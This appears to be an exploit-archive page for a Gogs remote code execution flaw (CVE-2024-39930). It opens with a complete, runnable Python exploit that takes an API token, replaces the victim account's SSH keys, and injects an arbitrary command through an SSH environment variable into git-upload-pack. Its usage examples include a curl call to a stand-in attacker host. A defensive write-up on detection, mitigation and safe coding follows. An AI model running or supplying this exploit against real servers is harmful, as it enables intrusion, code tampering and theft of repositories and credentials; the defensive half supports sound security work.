gogs 0.13.0 - Remote Code Execution (RCE)

Exploit Author: cybersploit Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2025-07-02
# Exploit Title: gogs 0.13.0 - Remote Code Execution (RCE) 
# Date: 27th June, 2025
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/gogs/gogs.git
# Version: gogs <=0.13.0
# Tested on: Ubuntu
# CVE: CVE-2024-39930


# ===============================
# Example Usage:
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned"
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "curl http://atacker.com" --ssh-port 2222
# ===============================

import requests
import paramiko
import base64
import random
import string
import sys
import argparse
from urllib.parse import urlparse

API_BASE_URL = ""

def generate_random_string(length=8, charset=None):
    if charset is None:
        charset = string.ascii_letters + string.digits
    return ''.join(random.choices(charset, k=length))

def make_headers(token=None, basic_auth=None):
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"token {token}"
    elif basic_auth:
        b64 = base64.b64encode(basic_auth.encode()).decode()
        headers["Authorization"] = f"Basic {b64}"
    return headers

def http_post(path, json=None, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.post(url, json=json, headers=headers)
    response.raise_for_status()
    return response

def http_get(path, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.get(url, headers=headers)
    response.raise_for_status()
    return response

def http_delete(path, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.delete(url, headers=headers)
    response.raise_for_status()
    return response

def obtain_api_token(username, password):
    auth = f"{username}:{password}"
    headers = make_headers(basic_auth=auth)
    data = {"name": generate_random_string()}

    try:
        response = http_post(f"/users/{username}/tokens", json=data, headers=headers)
        token = response.json()['sha1']
        print(f"[+] API Token Acquired: {token}")
        return token
    except Exception as e:
        print(f"[!] Failed to obtain API token: {e}")
        sys.exit(1)

def create_repo(token):
    repo_name = generate_random_string()
    headers = make_headers(token=token)
    data = {
        "name": repo_name,
        "description": "Auto-created repository",
        "private": False
    }

    try:
        response = http_post("/user/repos", json=data, headers=headers)
        full_name = response.json()['full_name']
        print(f"[+] Repository Created: {full_name}")
        return full_name
    except Exception as e:
        print(f"[!] Failed to create repository: {e}")
        sys.exit(1)

def delete_existing_ssh_keys(token):
    headers = make_headers(token=token)
    try:
        response = http_get("/user/keys", headers=headers)
        keys = response.json()
        for key in keys:
            key_id = key['id']
            http_delete(f"/user/keys/{key_id}", headers=headers)
            print(f"[+] Deleted SSH Key ID: {key_id}")
    except Exception as e:
        print(f"[!] Failed to delete existing SSH keys: {e}")
        sys.exit(1)

def add_ssh_key(public_key_path, token):
    delete_existing_ssh_keys(token)

    try:
        with open(public_key_path, 'r') as f:
            key = f.read()
    except Exception as e:
        print(f"[!] Failed to read public key file: {e}")
        sys.exit(1)

    headers = make_headers(token=token)
    data = {
        "title": generate_random_string(),
        "key": key
    }

    try:
        response = http_post("/user/keys", json=data, headers=headers)
        print(f"[+] SSH Key Added: {response.status_code}")
    except Exception as e:
        print(f"[!] Failed to add SSH key: {e}")
        sys.exit(1)

def exploit(ssh_user, ssh_host, ssh_port, private_key_path, repo_path, command):
    try:
        key = paramiko.RSAKey.from_private_key_file(private_key_path)
    except Exception as e:
        print(f"[!] Failed to load SSH key: {e}")
        sys.exit(1)

    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(hostname=ssh_host, port=int(ssh_port), username=ssh_user, pkey=key)

        session = client.get_transport().open_session()

        print("[+] Executing command...... ")
        session.set_environment_variable("--split-string", command)
        session.exec_command(f"git-upload-pack {repo_path}")

        stdout = session.makefile('rb', 1024)
        stderr = session.makefile_stderr('rb', 1024)

        print("STDERR:", stderr.read().decode())
        print("STDOUT:", stdout.read().decode())

        session.close()
        client.close()
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)

def main():
    global API_BASE_URL

    parser = argparse.ArgumentParser(description="Exploit Gogs SSH argument injection (CVE-2024-39930)")
    parser.add_argument("url", help="Gogs application URL (e.g., http://skillforge.lab:3000)")
    parser.add_argument("auth", help="Gogs credentials in the format username:password")
    parser.add_argument("private_key", help="Path to private SSH key")
    parser.add_argument("public_key", help="Path to public SSH key")
    parser.add_argument("command", help="Command to execute remotely")
    parser.add_argument("--ssh-port", type=int, default=None, help="Optional: custom SSH port to use")
    args = parser.parse_args()

    parsed_url = urlparse(args.url)
    API_BASE_URL = f"{parsed_url.scheme}://{parsed_url.netloc}/api/v1"
    ssh_host = parsed_url.hostname
    ssh_port = args.ssh_port if args.ssh_port else (parsed_url.port or 22)

    try:
        username, password = args.auth.split(":")
    except ValueError:
        print("[!] Invalid format for auth argument")
        sys.exit(1)

    token = obtain_api_token(username, password)
    repo_path = create_repo(token)
    add_ssh_key(args.public_key, token)

    exploit(
        ssh_user=username,
        ssh_host=ssh_host,
        ssh_port=ssh_port,
        private_key_path=args.private_key,
        repo_path=repo_path,
        command=args.command
    )

if __name__ == "__main__":
    main()


Gogs 0.13.0 — Remote Code Execution (RCE) (CVE-2024-39930)

This article provides a technical, yet safe and non-actionable, analysis of the remote code execution issue affecting Gogs instances identified as CVE-2024-39930. It explains the root cause at a high level, outlines attacker prerequisites and impact scenarios, and provides practical mitigation, detection and safe verification guidance for defenders and operators.

Summary

CVE-2024-39930 is an SSH-related argument injection vulnerability that can lead to remote code execution on Gogs installations up to and including version 0.13.0. The issue arises when user-controlled input influences arguments passed to Git-related processes, allowing crafted data to be interpreted in ways that permit execution of arbitrary commands under the service account. The vulnerability was publicly reported in a disclosure dated 27 June 2025.

Affected software and references

Project Affected versions CVE Reported Reference
Gogs ≤ 0.13.0 CVE-2024-39930 27 June 2025 https://github.com/gogs/gogs

High-level technical description

  • The flaw is a form of input/argument injection in the SSH/git handling path. Gogs accepts SSH connections and invokes Git service programs (for example, git-upload-pack) on behalf of users.
  • Insufficient sanitization or unsafe assembly of arguments and environment variables allows attacker-controlled data to change how those child processes interpret their inputs. Because git-related binaries and shells may accept environment-driven behavior, an attacker can craft input that results in execution outside the intended code path.
  • From an exploitability perspective, the vulnerability often requires that a malicious actor can register or control an account and push an SSH key or otherwise interact with the SSH interface — that is, there are preconditions such as application-level access or an exposed SSH endpoint.

Why this is dangerous

  • Remote code execution (RCE) under the user account running Gogs can lead to repository theft, code tampering, credential exfiltration (API tokens, deployment keys), and lateral movement.
  • Persistent backdoors can be introduced into repositories or into CI/CD pipelines that automatically interact with repositories.
  • Many Gogs instances run on servers that also host other services or sensitive data; compromise can therefore become broader than just the Git service.

Attack prerequisites and common vectors (defensive view)

  • An attacker needs the ability to interact with the Gogs instance in a way that influences SSH/git invocation. In many cases this means account access (login), the ability to upload/modify SSH keys, or to create repositories or hooks.
  • Open SSH service and typical git workflows (clone, fetch, push) are the channels through which the injection is triggered.
  • Exploitation is feasible when the server invokes external commands with concatenated or unsanitized user input, or when user-controlled SSH environment variables are forwarded to child processes without validation.

Impact scenarios and use cases

  • Compromise of the Gogs host and exfiltration of private repositories or stored secrets.
  • Insertion of malicious code into project repositories, enabling supply chain attacks if downstream consumers automatically pull or build code.
  • Creation of persistent backdoors or unauthorized access by adding SSH keys and API tokens to attacker-controlled accounts.

Detection guidance (what to look for)

Detection should focus on anomalous API and SSH activity, and on the behavior of child processes invoked by the Gogs service.

  • Audit logs: sudden creation of API tokens, API tokens used from unusual IPs, or a spike in token creation requests for a single user.
  • SSH key lifecycle: unexpected addition of SSH public keys to accounts, especially if keys are added and immediately used.
  • Process activity: unexpected or long-running git-upload-pack invocations; child processes spawned by the Gogs user account that are not normal (e.g., shells, curl/wget, or reverse shells).
  • Filesystem indicators: new files in /tmp, unexpected SSH authorized_keys entries, or unexpected cron entries created by the service account.
  • Network: outbound connections from the Gogs host to unfamiliar destinations (data exfiltration or command-and-control behavior).

Safe forensic checks (non-actionable)

  • Inventory all API tokens and SSH keys and map them to user accounts; revoke tokens/keys that were not explicitly provisioned.
  • Collect relevant logs (application logs, SSH/auth logs, systemd/journald), and look for correlated anomalies around the time suspicious SSH/git activity occurred.
  • Preserve evidence for incident response before making system changes that would overwrite logs.

Mitigation and remediation

Immediate and medium-term actions for operators:

  • Apply vendor-supplied patches: upgrade Gogs to a version that contains the fix. If you cannot immediately upgrade, apply vendor-recommended hotfixes or workarounds.
  • Restrict SSH access to trusted networks and limit which accounts may use SSH. Consider disabling SSH access for users who do not need it.
  • Enforce stronger authentication and account hygiene: rotate passwords, revoke and re-issue API tokens and SSH keys, and require multi-factor authentication where available.
  • Run the Gogs process under a tightly constrained service account with minimal permissions (principle of least privilege), and avoid mounting sensitive host directories into the application environment.
  • Audit CI/CD and deployment pipelines for hardcoded credentials that could be abused after a repository compromise.
  • Harden the Git execution path: ensure the server invokes Git binaries using argument arrays (no shells) and that environment variables are validated and sanitized.

Safe verification and testing (non-exploitative)

Do not attempt to reproduce the exploit against production systems. The safe ways to verify remediation are:

  • Check the installed Gogs version and confirm it is updated beyond the affected range as per the project advisory.
  • Review the upstream commit or patch that addresses the vulnerability and validate your instance includes that commit hash or patch.
  • Run unit and integration tests that exercise SSH/git handling using controlled, internal test accounts in an isolated lab environment.
  • Apply code-review checks to ensure any code invoking external processes uses safe APIs (e.g., exec with an argument vector and no shell) and explicitly validates user-controlled data.

Secure coding pattern (conceptual)

// Conceptual example (pseudo-Go) that shows a safer pattern:
// - Use direct exec with an argument slice, not a shell string.
// - Validate or whitelist user inputs before they become part of arguments or env.
func safeInvokeGit(binary string, args []string, envVars map[string]string) error {
    // Validate inputs: ensure none of the args or env contain unexpected characters
    // or disallowed sequences. Reject or sanitize inputs that fail validation.
    if !isValidArguments(args) || !isValidEnv(envVars) {
        return errors.New("invalid input")
    }

    cmd := exec.Command(binary, args...) // no shell, arguments passed as array
    // Build a clean environment rather than forwarding arbitrary user env
    cmd.Env = buildApprovedEnv(envVars)
    return cmd.Run()
}

Explanation: This pseudo-code illustrates two important hardening points — avoid invoking a shell where user-controlled content may be interpreted, and validate/sanitize any data that could reach child processes. Replacing shell-based invocation with exec.Command-like APIs prevents shell metacharacter expansion and reduces the attack surface.

Hardening checklist for operators

  • Upgrade Gogs to the patched release as soon as possible.
  • Rotate credentials (passwords, API tokens, SSH keys) after remediation.
  • Limit SSH access via network controls (firewalls, security groups) and enforce IP allowlists for administration.
  • Run the service under a dedicated, unprivileged account and ensure filesystem permissions restrict access to sensitive data.
  • Enable monitoring/alerting for anomalous API activity, SSH key changes, and unusual outbound network traffic.
  • Apply regular code reviews and static analysis to the Git/SSH handler code paths to catch unsafe patterns early.

Incident response pointers

  • If compromise is suspected, isolate the host (network segmentation), collect forensic artifacts, and preserve logs and disk images for analysis.
  • Revoke compromised credentials and keys, and re-create clean server images from known-good backups after thorough investigation.
  • Notify affected users and follow legal and regulatory obligations for breach disclosure.

Responsible disclosure and additional resources

If you are a maintainer or operator and need authoritative details, consult the official Gogs repository and the project's security advisory pages for the exact patch, commit identifiers and upgrade instructions. For general threat hunting and detection, combine application logs with host-level telemetry (process, file, and network) to spot post-exploitation signs.

Keywords and topics covered: Gogs RCE, CVE-2024-39930, SSH argument injection, git-upload-pack, remote code execution, mitigation, detection, secure coding.